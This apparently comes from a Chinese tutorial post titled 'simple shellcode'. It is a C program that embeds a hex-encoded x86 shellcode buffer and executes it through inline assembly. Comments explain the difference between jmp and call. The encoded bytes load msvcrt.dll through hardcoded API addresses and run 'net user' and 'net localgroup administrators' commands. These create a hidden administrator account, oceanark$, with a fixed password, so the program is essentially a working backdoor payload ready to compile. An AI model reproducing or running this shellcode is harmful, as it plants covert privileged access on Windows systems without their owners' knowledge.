简单shellcode

void main()
{
char shellcode[] = "\x54\x55\x50\x57\x56\x8b\xec\x33"
"\xff\x57\x57\x57\xc6\x45\xf4\x6d"
"\xc6\x45\xf5\x73\xc6\x45\xf6\x76"
"\xc6\x45\xf7\x63\xc6\x45\xf8\x72"
"\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"
"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c"
"\xc6\x45\xfd\x6c\x8d\x45\xf4\x50"
"\xb8\x7b\x1d\x80\x7c\xff\xd0\x8b"
"\xec\x33\xff\x83\xec\x24\xc6\x45"
"\xdd\x6e\xc6\x45\xde\x65\xc6\x45"
"\xdf\x74\xc6\x45\xe0\x20\xc6\x45"
"\xe1\x75\xc6\x45\xe2\x73\xc6\x45"
"\xe3\x65\xc6\x45\xe4\x72\xc6\x45"
"\xe5\x20\xc6\x45\xe6\x6f\xc6\x45"
"\xe7\x63\xc6\x45\xe8\x65\xc6\x45"
"\xe9\x61\xc6\x45\xea\x6e\xc6\x45"
"\xeb\x61\xc6\x45\xec\x72\xc6\x45"
"\xed\x6b\xc6\x45\xee\x24\xc6\x45"
"\xef\x20\xc6\x45\xf0\x24\xc6\x45"
"\xf1\x77\xc6\x45\xf2\x65\xc6\x45"
"\xf3\x69\xc6\x45\xf4\x39\xc6\x45"
"\xf5\x33\xc6\x45\xf6\x33\xc6\x45"
"\xf7\x32\xc6\x45\xf8\x35\xc6\x45"
"\xf9\x33\xc6\x45\xfa\x20\xc6\x45"
"\xfb\x2f\xc6\x45\xfc\x61\xc6\x45"
"\xfd\x64\xc6\x45\xfe\x64\x8d\x45"
"\xdd\x50\xb8\xc7\x93\xbf\x77\xff"
"\xd0\x8b\xec\x33\xff\x83\xec\x3c"
"\xc6\x45\xd3\x6e\xc6\x45\xd4\x65"
"\xc6\x45\xd5\x74\xc6\x45\xd6\x20"
"\xc6\x45\xd7\x6c\xc6\x45\xd8\x6f"
"\xc6\x45\xd9\x63\xc6\x45\xda\x61"
"\xc6\x45\xdb\x6c\xc6\x45\xdc\x67"
"\xc6\x45\xdd\x72\xc6\x45\xde\x6f"
"\xc6\x45\xdf\x75\xc6\x45\xe0\x70"
"\xc6\x45\xe1\x20\xc6\x45\xe2\x61"
"\xc6\x45\xe3\x64\xc6\x45\xe4\x6d"
"\xc6\x45\xe5\x69\xc6\x45\xe6\x6e"
"\xc6\x45\xe7\x69\xc6\x45\xe8\x73"
"\xc6\x45\xe9\x74\xc6\x45\xea\x72"
"\xc6\x45\xeb\x61\xc6\x45\xec\x74"
"\xc6\x45\xed\x6f\xc6\x45\xee\x72"
"\xc6\x45\xef\x73\xc6\x45\xf0\x20"
"\xc6\x45\xf1\x6f\xc6\x45\xf2\x63"
"\xc6\x45\xf3\x65\xc6\x45\xf4\x61"
"\xc6\x45\xf5\x6e\xc6\x45\xf6\x61"
"\xc6\x45\xf7\x72\xc6\x45\xf8\x6b"
"\xc6\x45\xf9\x24\xc6\x45\xfa\x20"
"\xc6\x45\xfb\x2f\xc6\x45\xfc\x61"
"\xc6\x45\xfd\x64\xc6\x45\xfe\x64"
"\x8d\x45\xd3\x50\xb8\xc7\x93\xbf"
"\x77\xff\xd0\x5e\x5f\x58\x5d\x5c";

__asm
{
lea eax,shellcode  //先把ShellCode字符串的地址传给eax。
jmp eax  //然后跳到处执行ShellCode。直接跳过去的话，ShellCode执行完后会没有返回的地方，运行完后会报错，可以把jmp换成call。
}

/*

科普一下:
call和jmp的区别是:
jmp是直接跳到目标地址去执行
call要先把下一个命令的地址压栈，然后才跳到目标地址执行，这样等ShellCode执行完后会返回我们压栈了的下一条指令继续执行。

这段也可以换成这样的vc代码

((void(*)(void)) &strShellCode)();
return 0;
*/
}